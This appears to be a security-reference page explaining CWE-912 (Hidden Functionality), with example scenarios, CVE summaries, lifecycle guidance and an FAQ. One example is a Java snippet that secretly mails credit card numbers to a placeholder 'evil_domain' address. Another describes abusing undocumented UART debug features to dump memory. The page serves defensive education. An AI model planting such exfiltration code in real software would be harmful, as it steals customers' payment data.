CWE-912: Hidden Functionality

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Code Examples & CVEs

Demonstrative Examples

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

BadJava

boolean authorizeCard(String ccn) {                                                                                 // Authorize credit card.                                                                                    ...                                                        mailCardNumber(ccn, "evil_developer@evil_domain.com");                      }

Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

BadOther

Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Observed CVE Examples (2)

CVE-2022-31260

Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)

View Details

CVE-2022-3203

A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).

View Details

Source-backed guidance

Additional facts reviewed against primary or authoritative security sources.

Verify controls for CWE-912 with SSDF evidence

Use NIST SSDF verification and vulnerability-response practices to detect CWE-912, Hidden Functionality, throughout the product lifecycle. Derive review questions, static or dynamic checks, and negative tests from the CWE's causal behavior; define the components and lifecycle stages each check covers; and retain findings with enough evidence to distinguish the root cause from symptoms and impacts. Track escapes and false negatives, then improve the verification plan after every confirmed occurrence.

NIST SP 800-218 Secure Software Development Framework — National Institute of Standards and Technology

Address Hidden Functionality during Installation

MITRE associates mitigation with Installation; documented detection approaches include Automated Static Analysis; recorded impacts include Varies by Context, and Alter Execution Logic. Use these source-defined anchors to turn CWE-912 into implementation, review, and verification checks for the affected component.

CWE-912: Hidden Functionality — MITRE CWE

Triage CWE-912 against known exploitation evidence

Use CISA's Known Exploited Vulnerabilities catalog to test whether a vulnerability mapped to CWE-912, Hidden Functionality, has evidence of exploitation in the wild. Confirm the CVE-to-CWE root-cause mapping independently before attaching the example, then capture the affected product, required action, and remediation deadline. A missing KEV match is not evidence that the weakness is unexploited, and a KEV entry must not be generalized to every occurrence of this CWE.

Known Exploited Vulnerabilities Catalog — Cybersecurity and Infrastructure Security Agency

Apply precise root-cause mapping to CWE-912

Apply MITRE's full root-cause mapping guidance when using CWE-912, Hidden Functionality. Separate weakness language from attacker prerequisites and technical impact, check the entry's abstraction and vulnerability-mapping notes, and prefer the most specific Base or Variant supported by the evidence. Record the rejected alternatives and require an independent review before the mapping is used for remediation trends or program metrics.

CVE to CWE Root Cause Mapping Guidance — MITRE CWE

Validate CWE-912 with root-cause mapping checks

Apply MITRE's root-cause mapping quick tips to CWE-912, Hidden Functionality. Confirm the finding describes the causal weakness rather than an impact or attack pattern, compare the abstraction and mapping notes with plausible alternatives, and have a second reviewer challenge the selection. Preserve the evidence and reasoning so recurring defects can be measured against one consistent identifier.

CVE to CWE Root Cause Mapping Quick Tips — MITRE CWE

Frequently Asked Questions

What is CWE-912: Hidden Functionality?+

CWE-912: Hidden Functionality is a Common Weakness Enumeration (CWE) entry maintained by MITRE. The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators. Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

What are the security consequences of Hidden Functionality?+

If exploited, CWE-912 (Hidden Functionality) it can compromise Other and Integrity, leading to outcomes such as Varies by Context and Alter Execution Logic.

How do you prevent or mitigate Hidden Functionality?+

Recommended mitigations for CWE-912 include: Always verify the integrity of the product that is being installed.

How is Hidden Functionality detected?+

CWE-912 can be detected using Automated Static Analysis. Combining automated tooling with manual review typically yields the best coverage.

Which programming languages are affected by Hidden Functionality?+

CWE-912 commonly affects Not Language-Specific. Note that weaknesses are often language-agnostic patterns, so secure coding practices apply broadly.

What are real-world examples of Hidden Functionality?+

MITRE documents real CVEs mapped to CWE-912, including CVE-2022-31260 and CVE-2022-3203. You can look up the full details of each CVE, including CVSS scores and remediation guidance, on our CVE Lookup tool.

What is the difference between a CWE and a CVE?+

A CWE (Common Weakness Enumeration) like CWE-912 describes a category of software weakness — the underlying flaw type. A CVE (Common Vulnerabilities and Exposures) identifies a specific, real-world vulnerability in a particular product. In short, a CWE is the kind of mistake, and a CVE is an instance of that mistake being found in software.

CWE-912: Hidden Functionality

Extended Description

Technical Details

Applicable To

Security Consequences

Scope

Impact

Mitigation Strategies

Phase

Description

Detection Methods

Method